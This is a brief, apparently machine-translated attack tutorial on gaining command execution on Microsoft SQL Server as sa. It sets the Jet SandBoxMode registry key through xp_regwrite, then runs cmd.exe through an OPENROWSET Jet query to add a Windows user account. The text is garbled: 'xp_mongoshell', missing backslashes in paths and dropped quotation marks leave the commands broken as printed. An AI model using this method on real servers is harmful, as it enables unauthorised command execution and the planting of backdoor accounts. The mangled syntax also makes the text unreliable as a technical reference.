SA permission sandbox mode elevation Method

When xp_mongoshell and xplog70.dll are deleted under sa, It is not new and is repeatedly proposed by some people. In this case, it is easier for them to remember and write it again, to execute the command, the condition is that xp_regwrite is required.

First, enable the sandbox mode:

Exec master.. xp_regwrite HKEY_LOCAL_MACHINE, SOFTWAREMicrosoftJet4.0Engines, SandBoxMode, REG_DWORD, 1

Then run the system command using jet. oledb.

Select * from openrowset (microsoft. jet. oledb.4.0,; database = c: windowssystem32iasias. mdb, select shell ("cmd.exe/c net user cnfjhh fst/add "))